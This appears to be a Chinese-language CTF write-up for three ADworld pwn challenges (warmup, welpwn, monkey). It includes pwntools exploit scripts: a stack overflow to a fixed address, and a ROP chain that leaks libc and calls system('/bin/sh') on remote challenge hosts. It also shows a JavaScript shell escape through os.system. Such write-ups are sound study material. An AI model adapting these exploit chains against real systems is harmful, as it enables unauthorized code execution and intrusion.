ADworld wp2


If you don’t go into the water, you can’t swim in your life

文中所用到的程序文件:bin file

warmup

# -*- coding: cp936 -*-
from pwn import *

# def get_length():
#   i = 0
#   while True:
#       try:
#           p = remote('101.200.240.241',7000)
#           p.recvuntil('biu:')
#           func = int(p.recv(8),16)
#           log.success("func=%#x",func)
#           payload = 'A'*64 + '\x00' + 'B'*i + p64(func)
#           p.sendline(payload)
#           p.recv()
#           try:
#               output = p.recv()
#               return i
#           except EOFError:
#               i += 1
#       except:
#           i += 1
#           p.close()

# length = get_length()
length = 7

p = remote('124.126.19.106',39729)
print p.recv()
print p.recv()
payload = 'A'*64 + '\x00'+ 'B'*7 + p64(0x40060d)
p.sendline(payload)
print p.recv()

welpwn

main函数中的read读入很长的内容,但是没办法造成栈溢出。只能把关注点放到函数echo

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

可以发现这个函数实际上就是把之前read获得的输入复制到栈上的数组s2中,很容易发现溢出点就在这个地方。

但是还有一个问题,这个复制过程有0截断,也就是说当我们写入一连串地址时,并不能够将所有地址都成功复制到s2中,而64位的程序在构造ROP链时无论如何都会有0x00。 不过幸运的是echo的函数栈帧很小:

.text:000000000040071D                 push    rbp
.text:000000000040071E                 mov     rbp, rsp
.text:0000000000400721                 sub     rsp, 20h
.....
.text:00000000004007CB                 leave
.text:00000000004007CC                 retn

也就是说我们可以通过简单的pop填充,是rsp指向我们在输入时布置在main的栈帧中的地址,进而劫持RIP到指定函数完成libc泄露和get shell

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='DEBUG')

# p = process('./welpwn')
p = remote('124.126.19.106',59629)
elf = ELF('./welpwn',checksec=False)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop4 = 0x000000000040089C
# we could find it just execute pop xxx 4 times and it will arrive the location we put on stack frame of main by debug
gadgets1 = 0x000000000040089A
gadgets2 = 0x0000000000400880

# call write to leak libc by universe gadgets(get shell successfully both server and local)
payload = 0x18 * 'A'
payload += flat([
    pop4, gadgets1, 0, 1, write_got, 8, write_got, 1, gadgets2
    ])
payload += 'A'*56 + p64(main)
p.send(payload)
p.recvuntil("Welcome to RCTF\n")
write_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('write_addr = %#x',write_addr)
# pause()
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')

'''
# get shell successfull locally
payload = (0x18)*'A'
payload += flat([pop4 ,pop_rdi,puts_got, puts_plt, main])
p.recvuntil("Welcome to RCTF")
p.send(payload)
# pause()
data = p.recvuntil("Welcome to RCTF\n",drop=True)
pust_addr = u64(data[-7:-1].ljust(8,'\x00'))
log.success('pust_addr = %#x',pust_addr)
# pause()

libc = LibcSearcher('puts',pust_addr)
libc_base = pust_addr - libc.dump('puts')
'''

system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
log.success('system_addr = %#x, binsh = %#x'%(system_addr,binsh))

payload = 'A'*(0x18)
payload += flat([pop4, pop_rdi, binsh, system_addr, main])
p.send(payload)
sleep(0.1)
p.interactive()

monkey

题目给了一个elf以及几个动态链接库,丢进ida很迷,直接运行发现似乎是一个js的终端:

nop@ubuntu:~/Desktop$ ./js
js> ls
typein:1:1 ReferenceError: ls is not defined
Stack:
  @typein:1:1
js> print
function print() {
    [native code]
}
js>

有些不知所云,翻看一下wp发现实际上这个程序实际上是可以执行各种js函数的,然后执行os.system('/bin/sh')就可以拿到shell。js也不太熟,这里主要记录一下以前没遇到过的东西即在python中使用多个动态库,实际上就是设置一个环境变量:

p = process([process_name], env={'LD_LIBRARY_PATH':'./'})

其它的也就不再深究了,本地执行获取shell的情况:

nop@ubuntu:~/Desktop$ ./js
js> os.system('/bin/sh')
$ whoami
nop
$